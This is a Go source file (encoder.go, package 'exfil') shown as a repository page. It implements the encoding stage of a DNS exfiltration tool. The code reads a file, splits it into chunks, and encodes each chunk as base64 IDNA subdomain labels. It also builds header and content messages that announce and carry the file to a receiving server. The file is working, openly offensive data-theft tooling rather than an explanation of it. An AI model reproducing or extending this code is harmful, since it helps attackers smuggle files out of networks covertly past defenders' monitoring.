/
encoder.go
141 lines (125 loc) · 2.97 KB
/
encoder.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
package exfil
import (
"bytes"
"encoding/base64"
"encoding/binary"
"errors"
"hash/crc32"
"io"
"os"
"path"
"strconv"
"strings"
"golang.org/x/net/idna"
)
// Encoding configures the base64 library
var Encoding = base64.StdEncoding.WithPadding(base64.NoPadding)
// Encode binary data to subdomain(s)
func Encode(data []byte) string {
buf := bytes.NewBuffer(nil)
b64w := base64.NewEncoder(Encoding, buf)
b64w.Write(data)
b64w.Close()
s := buf.String()
parts := make([]string, (len(s)/partLength)+1)
for i := range parts {
start := i * partLength
end := start + partLength
if end > len(s) {
end = len(s)
}
part := s[start:end]
part = strings.Map(func(r rune) rune {
if rr, ok := Mapping[r]; ok {
return rr
}
return r
}, part)
parts[i], _ = idna.ToASCII(part)
}
encoded := strings.TrimRight(strings.Join(parts, "."), ".")
return encoded + ".l" + strconv.Itoa(len(encoded))
}
// GenHeaderMsg generates a header message, announcing the file to the server
func GenHeaderMsg(id uint32, name string, size uint32) (string, error) {
id = id | 0x80000000
buf := bytes.NewBuffer(nil)
err := binary.Write(buf, binary.BigEndian, id)
if err != nil {
return "", err
}
err = binary.Write(buf, binary.BigEndian, size)
if err != nil {
return "", err
}
_, err = buf.WriteString(name)
if err != nil {
return "", err
}
return Encode(buf.Bytes()), nil
}
// GenContentMsg generates a content message, transporting a chunk of the file
func GenContentMsg(id uint32, offset uint32, data []byte) (string, error) {
id = id & 0x7fffffff
buf := bytes.NewBuffer(nil)
err := binary.Write(buf, binary.BigEndian, id)
if err != nil {
return "", err
}
err = binary.Write(buf, binary.BigEndian, offset)
if err != nil {
return "", err
}
_, err = buf.Write(data)
if err != nil {
return "", err
}
return Encode(buf.Bytes()), nil
}
// EncodeFile transforms a file into a series of messages
func EncodeFile(filePath string) (chan string, error) {
s, err := os.Stat(filePath)
if err != nil {
return nil, err
}
bn := path.Base(filePath)
sz := s.Size()
if sz > 0xffffffff {
return nil, errors.New("File to large")
}
f, err := os.Open(filePath)
if err != nil {
return nil, err
}
crc := crc32.NewIEEE()
io.Copy(crc, f)
f.Seek(0, os.SEEK_SET)
return encodeFileContent(crc.Sum32(), bn, uint32(sz), f), nil
}
// encodeFileContent implements the packetization of the file
func encodeFileContent(id uint32, name string, size uint32, data io.ReadCloser) chan string {
c := make(chan string)
go func(c chan<- string, id, size uint32, data io.ReadCloser) {
defer close(c)
defer data.Close()
msg, err := GenHeaderMsg(id, name, size)
if err != nil {
return
}
c <- msg
var i uint32
var block = make([]byte, blockSize)
for i = 0; i < size; i += blockSize {
n, err := data.Read(block)
if err != nil {
return
}
msg, err := GenContentMsg(id, i, block[0:n])
if err != nil {
return
}
c <- msg
}
}(c, id, size, data)
return c
}